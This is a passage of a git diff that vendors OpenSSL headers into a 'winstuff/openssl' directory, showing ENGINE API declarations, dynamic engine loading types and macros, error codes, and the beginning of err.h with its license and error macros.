+#ifndef OPENSSL_NO_GMP +void ENGINE_load_gmp(void); +#endif +void ENGINE_load_nuron(void); +void ENGINE_load_sureware(void); +void ENGINE_load_ubsec(void); +#endif +void ENGINE_load_cryptodev(void); +void ENGINE_load_padlock(void); +void ENGINE_load_builtin_engines(void); +#ifndef OPENSSL_NO_CAPIENG +void ENGINE_load_capi(void); +#endif + +/* Get and set global flags (ENGINE_TABLE_FLAG_***) for the implementation + * "registry" handling. */ +unsigned int ENGINE_get_table_flags(void); +void ENGINE_set_table_flags(unsigned int flags); + +/* Manage registration of ENGINEs per "table". For each type, there are 3 + * functions; + * ENGINE_register_***(e) - registers the implementation from 'e' (if it has one) + * ENGINE_unregister_***(e) - unregister the implementation from 'e' + * ENGINE_register_all_***() - call ENGINE_register_***() for each 'e' in the list + * Cleanup is automatically registered from each table when required, so + * ENGINE_cleanup() will reverse any "register" operations. */ + +int ENGINE_register_RSA(ENGINE *e); +void ENGINE_unregister_RSA(ENGINE *e); +void ENGINE_register_all_RSA(void); + +int ENGINE_register_DSA(ENGINE *e); +void ENGINE_unregister_DSA(ENGINE *e); +void ENGINE_register_all_DSA(void); + +int ENGINE_register_ECDH(ENGINE *e); +void ENGINE_unregister_ECDH(ENGINE *e); +void ENGINE_register_all_ECDH(void); + +int ENGINE_register_ECDSA(ENGINE *e); +void ENGINE_unregister_ECDSA(ENGINE *e); +void ENGINE_register_all_ECDSA(void); + +int ENGINE_register_DH(ENGINE *e); +void ENGINE_unregister_DH(ENGINE *e); +void ENGINE_register_all_DH(void); + +int ENGINE_register_RAND(ENGINE *e); +void ENGINE_unregister_RAND(ENGINE *e); +void ENGINE_register_all_RAND(void); + +int ENGINE_register_STORE(ENGINE *e); +void ENGINE_unregister_STORE(ENGINE *e); +void ENGINE_register_all_STORE(void); + +int ENGINE_register_ciphers(ENGINE *e); +void ENGINE_unregister_ciphers(ENGINE *e); +void ENGINE_register_all_ciphers(void); + +int ENGINE_register_digests(ENGINE *e); +void ENGINE_unregister_digests(ENGINE *e); +void ENGINE_register_all_digests(void); + +/* These functions register all support from the above categories. Note, use of + * these functions can result in static linkage of code your application may not + * need. If you only need a subset of functionality, consider using more + * selective initialisation. */ +int ENGINE_register_complete(ENGINE *e); +int ENGINE_register_all_complete(void); + +/* Send parametrised control commands to the engine. The possibilities to send + * down an integer, a pointer to data or a function pointer are provided. Any of + * the parameters may or may not be NULL, depending on the command number. In + * actuality, this function only requires a structural (rather than functional) + * reference to an engine, but many control commands may require the engine be + * functional. The caller should be aware of trying commands that require an + * operational ENGINE, and only use functional references in such situations. */ +int ENGINE_ctrl(ENGINE *e, int cmd, long i, void *p, void (*f)(void)); + +/* This function tests if an ENGINE-specific command is usable as a "setting". + * Eg. in an application's config file that gets processed through + * ENGINE_ctrl_cmd_string(). If this returns zero, it is not available to + * ENGINE_ctrl_cmd_string(), only ENGINE_ctrl(). */ +int ENGINE_cmd_is_executable(ENGINE *e, int cmd); + +/* This function works like ENGINE_ctrl() with the exception of taking a + * command name instead of a command number, and can handle optional commands. + * See the comment on ENGINE_ctrl_cmd_string() for an explanation on how to + * use the cmd_name and cmd_optional. */ +int ENGINE_ctrl_cmd(ENGINE *e, const char *cmd_name, + long i, void *p, void (*f)(void), int cmd_optional); + +/* This function passes a command-name and argument to an ENGINE. The cmd_name + * is converted to a command number and the control command is called using + * 'arg' as an argument (unless the ENGINE doesn't support such a command, in + * which case no control command is called). The command is checked for input + * flags, and if necessary the argument will be converted to a numeric value. If + * cmd_optional is non-zero, then if the ENGINE doesn't support the given + * cmd_name the return value will be success anyway. This function is intended + * for applications to use so that users (or config files) can supply + * engine-specific config data to the ENGINE at run-time to control behaviour of + * specific engines. As such, it shouldn't be used for calling ENGINE_ctrl() + * functions that return data, deal with binary data, or that are otherwise + * supposed to be used directly through ENGINE_ctrl() in application code. Any + * "return" data from an ENGINE_ctrl() operation in this function will be lost - + * the return value is interpreted as failure if the return value is zero, + * success otherwise, and this function returns a boolean value as a result. In + * other words, vendors of 'ENGINE'-enabled devices should write ENGINE + * implementations with parameterisations that work in this scheme, so that + * compliant ENGINE-based applications can work consistently with the same + * configuration for the same ENGINE-enabled devices, across applications. */ +int ENGINE_ctrl_cmd_string(ENGINE *e, const char *cmd_name, const char *arg, + int cmd_optional); + +/* These functions are useful for manufacturing new ENGINE structures. They + * don't address reference counting at all - one uses them to populate an ENGINE + * structure with personalised implementations of things prior to using it + * directly or adding it to the builtin ENGINE list in OpenSSL. These are also + * here so that the ENGINE structure doesn't have to be exposed and break binary + * compatibility! */ +ENGINE *ENGINE_new(void); +int ENGINE_free(ENGINE *e); +int ENGINE_up_ref(ENGINE *e); +int ENGINE_set_id(ENGINE *e, const char *id); +int ENGINE_set_name(ENGINE *e, const char *name); +int ENGINE_set_RSA(ENGINE *e, const RSA_METHOD *rsa_meth); +int ENGINE_set_DSA(ENGINE *e, const DSA_METHOD *dsa_meth); +int ENGINE_set_ECDH(ENGINE *e, const ECDH_METHOD *ecdh_meth); +int ENGINE_set_ECDSA(ENGINE *e, const ECDSA_METHOD *ecdsa_meth); +int ENGINE_set_DH(ENGINE *e, const DH_METHOD *dh_meth); +int ENGINE_set_RAND(ENGINE *e, const RAND_METHOD *rand_meth); +int ENGINE_set_STORE(ENGINE *e, const STORE_METHOD *store_meth); +int ENGINE_set_destroy_function(ENGINE *e, ENGINE_GEN_INT_FUNC_PTR destroy_f); +int ENGINE_set_init_function(ENGINE *e, ENGINE_GEN_INT_FUNC_PTR init_f); +int ENGINE_set_finish_function(ENGINE *e, ENGINE_GEN_INT_FUNC_PTR finish_f); +int ENGINE_set_ctrl_function(ENGINE *e, ENGINE_CTRL_FUNC_PTR ctrl_f); +int ENGINE_set_load_privkey_function(ENGINE *e, ENGINE_LOAD_KEY_PTR loadpriv_f); +int ENGINE_set_load_pubkey_function(ENGINE *e, ENGINE_LOAD_KEY_PTR loadpub_f); +int ENGINE_set_load_ssl_client_cert_function(ENGINE *e, + ENGINE_SSL_CLIENT_CERT_PTR loadssl_f); +int ENGINE_set_ciphers(ENGINE *e, ENGINE_CIPHERS_PTR f); +int ENGINE_set_digests(ENGINE *e, ENGINE_DIGESTS_PTR f); +int ENGINE_set_flags(ENGINE *e, int flags); +int ENGINE_set_cmd_defns(ENGINE *e, const ENGINE_CMD_DEFN *defns); +/* These functions allow control over any per-structure ENGINE data. */ +int ENGINE_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int ENGINE_set_ex_data(ENGINE *e, int idx, void *arg); +void *ENGINE_get_ex_data(const ENGINE *e, int idx); + +/* This function cleans up anything that needs it. Eg. the ENGINE_add() function + * automatically ensures the list cleanup function is registered to be called + * from ENGINE_cleanup(). Similarly, all ENGINE_register_*** functions ensure + * ENGINE_cleanup() will clean up after them. */ +void ENGINE_cleanup(void); + +/* These return values from within the ENGINE structure. These can be useful + * with functional references as well as structural references - it depends + * which you obtained. Using the result for functional purposes if you only + * obtained a structural reference may be problematic! */ +const char *ENGINE_get_id(const ENGINE *e); +const char *ENGINE_get_name(const ENGINE *e); +const RSA_METHOD *ENGINE_get_RSA(const ENGINE *e); +const DSA_METHOD *ENGINE_get_DSA(const ENGINE *e); +const ECDH_METHOD *ENGINE_get_ECDH(const ENGINE *e); +const ECDSA_METHOD *ENGINE_get_ECDSA(const ENGINE *e); +const DH_METHOD *ENGINE_get_DH(const ENGINE *e); +const RAND_METHOD *ENGINE_get_RAND(const ENGINE *e); +const STORE_METHOD *ENGINE_get_STORE(const ENGINE *e); +ENGINE_GEN_INT_FUNC_PTR ENGINE_get_destroy_function(const ENGINE *e); +ENGINE_GEN_INT_FUNC_PTR ENGINE_get_init_function(const ENGINE *e); +ENGINE_GEN_INT_FUNC_PTR ENGINE_get_finish_function(const ENGINE *e); +ENGINE_CTRL_FUNC_PTR ENGINE_get_ctrl_function(const ENGINE *e); +ENGINE_LOAD_KEY_PTR ENGINE_get_load_privkey_function(const ENGINE *e); +ENGINE_LOAD_KEY_PTR ENGINE_get_load_pubkey_function(const ENGINE *e); +ENGINE_SSL_CLIENT_CERT_PTR ENGINE_get_ssl_client_cert_function(const ENGINE *e); +ENGINE_CIPHERS_PTR ENGINE_get_ciphers(const ENGINE *e); +ENGINE_DIGESTS_PTR ENGINE_get_digests(const ENGINE *e); +const EVP_CIPHER *ENGINE_get_cipher(ENGINE *e, int nid); +const EVP_MD *ENGINE_get_digest(ENGINE *e, int nid); +const ENGINE_CMD_DEFN *ENGINE_get_cmd_defns(const ENGINE *e); +int ENGINE_get_flags(const ENGINE *e); + +/* FUNCTIONAL functions. These functions deal with ENGINE structures + * that have (or will) be initialised for use. Broadly speaking, the + * structural functions are useful for iterating the list of available + * engine types, creating new engine types, and other "list" operations. + * These functions actually deal with ENGINEs that are to be used. As + * such these functions can fail (if applicable) when particular + * engines are unavailable - eg. if a hardware accelerator is not + * attached or not functioning correctly. Each ENGINE has 2 reference + * counts; structural and functional. Every time a functional reference + * is obtained or released, a corresponding structural reference is + * automatically obtained or released too. */ + +/* Initialise a engine type for use (or up its reference count if it's + * already in use). This will fail if the engine is not currently + * operational and cannot initialise. */ +int ENGINE_init(ENGINE *e); +/* Free a functional reference to a engine type. This does not require + * a corresponding call to ENGINE_free as it also releases a structural + * reference. */ +int ENGINE_finish(ENGINE *e); + +/* The following functions handle keys that are stored in some secondary + * location, handled by the engine. The storage may be on a card or + * whatever. */ +EVP_PKEY *ENGINE_load_private_key(ENGINE *e, const char *key_id, + UI_METHOD *ui_method, void *callback_data); +EVP_PKEY *ENGINE_load_public_key(ENGINE *e, const char *key_id, + UI_METHOD *ui_method, void *callback_data); +int ENGINE_load_ssl_client_cert(ENGINE *e, SSL *s, + STACK_OF(X509_NAME) *ca_dn, X509 **pcert, EVP_PKEY **ppkey, + STACK_OF(X509) **pother, + UI_METHOD *ui_method, void *callback_data); + +/* This returns a pointer for the current ENGINE structure that + * is (by default) performing any RSA operations. The value returned + * is an incremented reference, so it should be free'd (ENGINE_finish) + * before it is discarded. */ +ENGINE *ENGINE_get_default_RSA(void); +/* Same for the other "methods" */ +ENGINE *ENGINE_get_default_DSA(void); +ENGINE *ENGINE_get_default_ECDH(void); +ENGINE *ENGINE_get_default_ECDSA(void); +ENGINE *ENGINE_get_default_DH(void); +ENGINE *ENGINE_get_default_RAND(void); +/* These functions can be used to get a functional reference to perform + * ciphering or digesting corresponding to "nid". */ +ENGINE *ENGINE_get_cipher_engine(int nid); +ENGINE *ENGINE_get_digest_engine(int nid); + +/* This sets a new default ENGINE structure for performing RSA + * operations. If the result is non-zero (success) then the ENGINE + * structure will have had its reference count up'd so the caller + * should still free their own reference 'e'. */ +int ENGINE_set_default_RSA(ENGINE *e); +int ENGINE_set_default_string(ENGINE *e, const char *def_list); +/* Same for the other "methods" */ +int ENGINE_set_default_DSA(ENGINE *e); +int ENGINE_set_default_ECDH(ENGINE *e); +int ENGINE_set_default_ECDSA(ENGINE *e); +int ENGINE_set_default_DH(ENGINE *e); +int ENGINE_set_default_RAND(ENGINE *e); +int ENGINE_set_default_ciphers(ENGINE *e); +int ENGINE_set_default_digests(ENGINE *e); + +/* The combination "set" - the flags are bitwise "OR"d from the + * ENGINE_METHOD_*** defines above. As with the "ENGINE_register_complete()" + * function, this function can result in unnecessary static linkage. If your + * application requires only specific functionality, consider using more + * selective functions. */ +int ENGINE_set_default(ENGINE *e, unsigned int flags); + +void ENGINE_add_conf_module(void); + +/* Deprecated functions ... */ +/* int ENGINE_clear_defaults(void); */ + +/**************************/ +/* DYNAMIC ENGINE SUPPORT */ +/**************************/ + +/* Binary/behaviour compatibility levels */ +#define OSSL_DYNAMIC_VERSION (unsigned long)0x00020000 +/* Binary versions older than this are too old for us (whether we're a loader or + * a loadee) */ +#define OSSL_DYNAMIC_OLDEST (unsigned long)0x00020000 + +/* When compiling an ENGINE entirely as an external shared library, loadable by + * the "dynamic" ENGINE, these types are needed. The 'dynamic_fns' structure + * type provides the calling application's (or library's) error functionality + * and memory management function pointers to the loaded library. These should + * be used/set in the loaded library code so that the loading application's + * 'state' will be used/changed in all operations. The 'static_state' pointer + * allows the loaded library to know if it shares the same static data as the + * calling application (or library), and thus whether these callbacks need to be + * set or not. */ +typedef void *(*dyn_MEM_malloc_cb)(size_t); +typedef void *(*dyn_MEM_realloc_cb)(void *, size_t); +typedef void (*dyn_MEM_free_cb)(void *); +typedef struct st_dynamic_MEM_fns { + dyn_MEM_malloc_cb malloc_cb; + dyn_MEM_realloc_cb realloc_cb; + dyn_MEM_free_cb free_cb; + } dynamic_MEM_fns; +/* FIXME: Perhaps the memory and locking code (crypto.h) should declare and use + * these types so we (and any other dependant code) can simplify a bit?? */ +typedef void (*dyn_lock_locking_cb)(int,int,const char *,int); +typedef int (*dyn_lock_add_lock_cb)(int*,int,int,const char *,int); +typedef struct CRYPTO_dynlock_value *(*dyn_dynlock_create_cb)( + const char *,int); +typedef void (*dyn_dynlock_lock_cb)(int,struct CRYPTO_dynlock_value *, + const char *,int); +typedef void (*dyn_dynlock_destroy_cb)(struct CRYPTO_dynlock_value *, + const char *,int); +typedef struct st_dynamic_LOCK_fns { + dyn_lock_locking_cb lock_locking_cb; + dyn_lock_add_lock_cb lock_add_lock_cb; + dyn_dynlock_create_cb dynlock_create_cb; + dyn_dynlock_lock_cb dynlock_lock_cb; + dyn_dynlock_destroy_cb dynlock_destroy_cb; + } dynamic_LOCK_fns; +/* The top-level structure */ +typedef struct st_dynamic_fns { + void *static_state; + const ERR_FNS *err_fns; + const CRYPTO_EX_DATA_IMPL *ex_data_fns; + dynamic_MEM_fns mem_fns; + dynamic_LOCK_fns lock_fns; + } dynamic_fns; + +/* The version checking function should be of this prototype. NB: The + * ossl_version value passed in is the OSSL_DYNAMIC_VERSION of the loading code. + * If this function returns zero, it indicates a (potential) version + * incompatibility and the loaded library doesn't believe it can proceed. + * Otherwise, the returned value is the (latest) version supported by the + * loading library. The loader may still decide that the loaded code's version + * is unsatisfactory and could veto the load. The function is expected to + * be implemented with the symbol name "v_check", and a default implementation + * can be fully instantiated with IMPLEMENT_DYNAMIC_CHECK_FN(). */ +typedef unsigned long (*dynamic_v_check_fn)(unsigned long ossl_version); +#define IMPLEMENT_DYNAMIC_CHECK_FN() \ + OPENSSL_EXPORT unsigned long v_check(unsigned long v) { \ + if(v >= OSSL_DYNAMIC_OLDEST) return OSSL_DYNAMIC_VERSION; \ + return 0; } + +/* This function is passed the ENGINE structure to initialise with its own + * function and command settings. It should not adjust the structural or + * functional reference counts. If this function returns zero, (a) the load will + * be aborted, (b) the previous ENGINE state will be memcpy'd back onto the + * structure, and (c) the shared library will be unloaded. So implementations + * should do their own internal cleanup in failure circumstances otherwise they + * could leak. The 'id' parameter, if non-NULL, represents the ENGINE id that + * the loader is looking for. If this is NULL, the shared library can choose to + * return failure or to initialise a 'default' ENGINE. If non-NULL, the shared + * library must initialise only an ENGINE matching the passed 'id'. The function + * is expected to be implemented with the symbol name "bind_engine". A standard + * implementation can be instantiated with IMPLEMENT_DYNAMIC_BIND_FN(fn) where + * the parameter 'fn' is a callback function that populates the ENGINE structure + * and returns an int value (zero for failure). 'fn' should have prototype; + * [static] int fn(ENGINE *e, const char *id); */ +typedef int (*dynamic_bind_engine)(ENGINE *e, const char *id, + const dynamic_fns *fns); +#define IMPLEMENT_DYNAMIC_BIND_FN(fn) \ + OPENSSL_EXPORT \ + int bind_engine(ENGINE *e, const char *id, const dynamic_fns *fns) { \ + if(ENGINE_get_static_state() == fns->static_state) goto skip_cbs; \ + if(!CRYPTO_set_mem_functions(fns->mem_fns.malloc_cb, \ + fns->mem_fns.realloc_cb, fns->mem_fns.free_cb)) \ + return 0; \ + CRYPTO_set_locking_callback(fns->lock_fns.lock_locking_cb); \ + CRYPTO_set_add_lock_callback(fns->lock_fns.lock_add_lock_cb); \ + CRYPTO_set_dynlock_create_callback(fns->lock_fns.dynlock_create_cb); \ + CRYPTO_set_dynlock_lock_callback(fns->lock_fns.dynlock_lock_cb); \ + CRYPTO_set_dynlock_destroy_callback(fns->lock_fns.dynlock_destroy_cb); \ + if(!CRYPTO_set_ex_data_implementation(fns->ex_data_fns)) \ + return 0; \ + if(!ERR_set_implementation(fns->err_fns)) return 0; \ + skip_cbs: \ + if(!fn(e,id)) return 0; \ + return 1; } + +/* If the loading application (or library) and the loaded ENGINE library share + * the same static data (eg. they're both dynamically linked to the same + * libcrypto.so) we need a way to avoid trying to set system callbacks - this + * would fail, and for the same reason that it's unnecessary to try. If the + * loaded ENGINE has (or gets from through the loader) its own copy of the + * libcrypto static data, we will need to set the callbacks. The easiest way to + * detect this is to have a function that returns a pointer to some static data + * and let the loading application and loaded ENGINE compare their respective + * values. */ +void *ENGINE_get_static_state(void); + +#if defined(__OpenBSD__) || defined(__FreeBSD__) +void ENGINE_setup_bsd_cryptodev(void); +#endif + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_ENGINE_strings(void); + +/* Error codes for the ENGINE functions. */ + +/* Function codes. */ +#define ENGINE_F_DYNAMIC_CTRL 180 +#define ENGINE_F_DYNAMIC_GET_DATA_CTX 181 +#define ENGINE_F_DYNAMIC_LOAD 182 +#define ENGINE_F_DYNAMIC_SET_DATA_CTX 183 +#define ENGINE_F_ENGINE_ADD 105 +#define ENGINE_F_ENGINE_BY_ID 106 +#define ENGINE_F_ENGINE_CMD_IS_EXECUTABLE 170 +#define ENGINE_F_ENGINE_CTRL 142 +#define ENGINE_F_ENGINE_CTRL_CMD 178 +#define ENGINE_F_ENGINE_CTRL_CMD_STRING 171 +#define ENGINE_F_ENGINE_FINISH 107 +#define ENGINE_F_ENGINE_FREE_UTIL 108 +#define ENGINE_F_ENGINE_GET_CIPHER 185 +#define ENGINE_F_ENGINE_GET_DEFAULT_TYPE 177 +#define ENGINE_F_ENGINE_GET_DIGEST 186 +#define ENGINE_F_ENGINE_GET_NEXT 115 +#define ENGINE_F_ENGINE_GET_PREV 116 +#define ENGINE_F_ENGINE_INIT 119 +#define ENGINE_F_ENGINE_LIST_ADD 120 +#define ENGINE_F_ENGINE_LIST_REMOVE 121 +#define ENGINE_F_ENGINE_LOAD_PRIVATE_KEY 150 +#define ENGINE_F_ENGINE_LOAD_PUBLIC_KEY 151 +#define ENGINE_F_ENGINE_LOAD_SSL_CLIENT_CERT 192 +#define ENGINE_F_ENGINE_NEW 122 +#define ENGINE_F_ENGINE_REMOVE 123 +#define ENGINE_F_ENGINE_SET_DEFAULT_STRING 189 +#define ENGINE_F_ENGINE_SET_DEFAULT_TYPE 126 +#define ENGINE_F_ENGINE_SET_ID 129 +#define ENGINE_F_ENGINE_SET_NAME 130 +#define ENGINE_F_ENGINE_TABLE_REGISTER 184 +#define ENGINE_F_ENGINE_UNLOAD_KEY 152 +#define ENGINE_F_ENGINE_UNLOCKED_FINISH 191 +#define ENGINE_F_ENGINE_UP_REF 190 +#define ENGINE_F_INT_CTRL_HELPER 172 +#define ENGINE_F_INT_ENGINE_CONFIGURE 188 +#define ENGINE_F_INT_ENGINE_MODULE_INIT 187 +#define ENGINE_F_LOG_MESSAGE 141 + +/* Reason codes. */ +#define ENGINE_R_ALREADY_LOADED 100 +#define ENGINE_R_ARGUMENT_IS_NOT_A_NUMBER 133 +#define ENGINE_R_CMD_NOT_EXECUTABLE 134 +#define ENGINE_R_COMMAND_TAKES_INPUT 135 +#define ENGINE_R_COMMAND_TAKES_NO_INPUT 136 +#define ENGINE_R_CONFLICTING_ENGINE_ID 103 +#define ENGINE_R_CTRL_COMMAND_NOT_IMPLEMENTED 119 +#define ENGINE_R_DH_NOT_IMPLEMENTED 139 +#define ENGINE_R_DSA_NOT_IMPLEMENTED 140 +#define ENGINE_R_DSO_FAILURE 104 +#define ENGINE_R_DSO_NOT_FOUND 132 +#define ENGINE_R_ENGINES_SECTION_ERROR 148 +#define ENGINE_R_ENGINE_IS_NOT_IN_LIST 105 +#define ENGINE_R_ENGINE_SECTION_ERROR 149 +#define ENGINE_R_FAILED_LOADING_PRIVATE_KEY 128 +#define ENGINE_R_FAILED_LOADING_PUBLIC_KEY 129 +#define ENGINE_R_FINISH_FAILED 106 +#define ENGINE_R_GET_HANDLE_FAILED 107 +#define ENGINE_R_ID_OR_NAME_MISSING 108 +#define ENGINE_R_INIT_FAILED 109 +#define ENGINE_R_INTERNAL_LIST_ERROR 110 +#define ENGINE_R_INVALID_ARGUMENT 143 +#define ENGINE_R_INVALID_CMD_NAME 137 +#define ENGINE_R_INVALID_CMD_NUMBER 138 +#define ENGINE_R_INVALID_INIT_VALUE 151 +#define ENGINE_R_INVALID_STRING 150 +#define ENGINE_R_NOT_INITIALISED 117 +#define ENGINE_R_NOT_LOADED 112 +#define ENGINE_R_NO_CONTROL_FUNCTION 120 +#define ENGINE_R_NO_INDEX 144 +#define ENGINE_R_NO_LOAD_FUNCTION 125 +#define ENGINE_R_NO_REFERENCE 130 +#define ENGINE_R_NO_SUCH_ENGINE 116 +#define ENGINE_R_NO_UNLOAD_FUNCTION 126 +#define ENGINE_R_PROVIDE_PARAMETERS 113 +#define ENGINE_R_RSA_NOT_IMPLEMENTED 141 +#define ENGINE_R_UNIMPLEMENTED_CIPHER 146 +#define ENGINE_R_UNIMPLEMENTED_DIGEST 147 +#define ENGINE_R_VERSION_INCOMPATIBILITY 145 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/err.h b/winstuff/openssl/err.h new file mode 100644 index 0000000..dcac415 --- /dev/null +++ b/winstuff/openssl/err.h @@ -0,0 +1,330 @@ +/* crypto/err/err.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_ERR_H +#define HEADER_ERR_H + +#include + +#ifndef OPENSSL_NO_FP_API +#include +#include +#endif + +#include +#ifndef OPENSSL_NO_BIO +#include +#endif +#ifndef OPENSSL_NO_LHASH +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef OPENSSL_NO_ERR +#define ERR_PUT_error(a,b,c,d,e) ERR_put_error(a,b,c,d,e) +#else +#define ERR_PUT_error(a,b,c,d,e) ERR_put_error(a,b,c,NULL,0) +#endif + +#include + +#define ERR_TXT_MALLOCED 0x01 +#define ERR_TXT_STRING 0x02 + +#define ERR_FLAG_MARK 0x01 + +#define ERR_NUM_ERRORS 16 +typedef struct err_state_st + { + unsigned long pid; + int err_flags[ERR_NUM_ERRORS]; + unsigned long err_buffer[ERR_NUM_ERRORS]; + char *err_data[ERR_NUM_ERRORS]; + int err_data_flags[ERR_NUM_ERRORS]; + const char *err_file[ERR_NUM_ERRORS]; + int err_line[ERR_NUM_ERRORS]; + int top,bottom; + } ERR_STATE; + +/* library */ +#define ERR_LIB_NONE 1 +#define ERR_LIB_SYS 2 +#define ERR_LIB_BN 3 +#define ERR_LIB_RSA 4 +#define ERR_LIB_DH 5 +#define ERR_LIB_EVP 6 +#define ERR_LIB_BUF 7 +#define ERR_LIB_OBJ 8 +#define ERR_LIB_PEM 9 +#define ERR_LIB_DSA 10 +#define ERR_LIB_X509 11 +/* #define ERR_LIB_METH 12 */ +#define ERR_LIB_ASN1 13 +#define ERR_LIB_CONF 14 +#define ERR_LIB_CRYPTO 15 +#define ERR_LIB_EC 16 +#define ERR_LIB_SSL 20 +/* #define ERR_LIB_SSL23 21 */ +/* #define ERR_LIB_SSL2 22 */ +/* #define ERR_LIB_SSL3 23 */ +/* #define ERR_LIB_RSAREF 30 */ +/* #define ERR_LIB_PROXY 31 */ +#define ERR_LIB_BIO 32 +#define ERR_LIB_PKCS7 33 +#define ERR_LIB_X509V3 34 +#define ERR_LIB_PKCS12 35 +#define ERR_LIB_RAND 36 +#define ERR_LIB_DSO 37 +#define ERR_LIB_ENGINE 38 +#define ERR_LIB_OCSP 39 +#define ERR_LIB_UI 40 +#define ERR_LIB_COMP 41 +#define ERR_LIB_ECDSA 42 +#define ERR_LIB_ECDH 43 +#define ERR_LIB_STORE 44 +#define ERR_LIB_FIPS 45 +#define ERR_LIB_CMS 46 +#define ERR_LIB_JPAKE 47 + +#define ERR_LIB_USER 128 + +#define SYSerr(f,r) ERR_PUT_error(ERR_LIB_SYS,(f),(r),__FILE__,__LINE__) +#define BNerr(f,r) ERR_PUT_error(ERR_LIB_BN,(f),(r),__FILE__,__LINE__) +#define RSAerr(f,r) ERR_PUT_error(ERR_LIB_RSA,(f),(r),__FILE__,__LINE__) +#define DHerr(f,r) ERR_PUT_error(ERR_LIB_DH,(f),(r),__FILE__,__LINE__) +#define EVPerr(f,r) ERR_PUT_error(ERR_LIB_EVP,(f),(r),__FILE__,__LINE__) +#define BUFerr(f,r) ERR_PUT_error(ERR_LIB_BUF,(f),(r),__FILE__,__LINE__) +#define OBJerr(f,r) ERR_PUT_error(ERR_LIB_OBJ,(f),(r),__FILE__,__LINE__) +#define PEMerr(f,r) ERR_PUT_error(ERR_LIB_PEM,(f),(r),__FILE__,__LINE__) +#define DSAerr(f,r) ERR_PUT_error(ERR_LIB_DSA,(f),(r),__FILE__,__LINE__) +#define X509err(f,r) ERR_PUT_error(ERR_LIB_X509,(f),(r),__FILE__,__LINE__) +#define ASN1err(f,r) ERR_PUT_error(ERR_LIB_ASN1,(f),(r),__FILE__,__LINE__) +#define CONFerr(f,r) ERR_PUT_error(ERR_LIB_CONF,(f),(r),__FILE__,__LINE__) +#define CRYPTOerr(f,r) ERR_PUT_error(ERR_LIB_CRYPTO,(f),(r),__FILE__,__LINE__) +#define ECerr(f,r) ERR_PUT_error(ERR_LIB_EC,(f),(r),__FILE__,__LINE__) +#define SSLerr(f,r) ERR_PUT_error(ERR_LIB_SSL,(f),(r),__FILE__,__LINE__) +#define BIOerr(f,r) ERR_PUT_error(ERR_LIB_BIO,(f),(r),__FILE__,__LINE__) +#define PKCS7err(f,r) ERR_PUT_error(ERR_LIB_PKCS7,(f),(r),__FILE__,__LINE__) +#define X509V3err(f,r) ERR_PUT_error(ERR_LIB_X509V3,(f),(r),__FILE__,__LINE__) +#define PKCS12err(f,r) ERR_PUT_error(ERR_LIB_PKCS12,(f),(r),__FILE__,__LINE__) +#define RANDerr(f,r) ERR_PUT_error(ERR_LIB_RAND,(f),(r),__FILE__,__LINE__) +#define DSOerr(f,r) ERR_PUT_error(ERR_LIB_DSO,(f),(r),__FILE__,__LINE__) +#define ENGINEerr(f,r) ERR_PUT_error(ERR_LIB_ENGINE,(f),(r),__FILE__,__LINE__) +#define OCSPerr(f,r) ERR_PUT_error(ERR_LIB_OCSP,(f),(r),__FILE__,__LINE__) +#define UIerr(f,r) ERR_PUT_error(ERR_LIB_UI,(f),(r),__FILE__,__LINE__) +#define COMPerr(f,r) ERR_PUT_error(ERR_LIB_COMP,(f),(r),__FILE__,__LINE__) +#define ECDSAerr(f,r) ERR_PUT_error(ERR_LIB_ECDSA,(f),(r),__FILE__,__LINE__) +#define ECDHerr(f,r) ERR_PUT_error(ERR_LIB_ECDH,(f),(r),__FILE__,__LINE__) +#define STOREerr(f,r) ERR_PUT_error(ERR_LIB_STORE,(f),(r),__FILE__,__LINE__) +#define 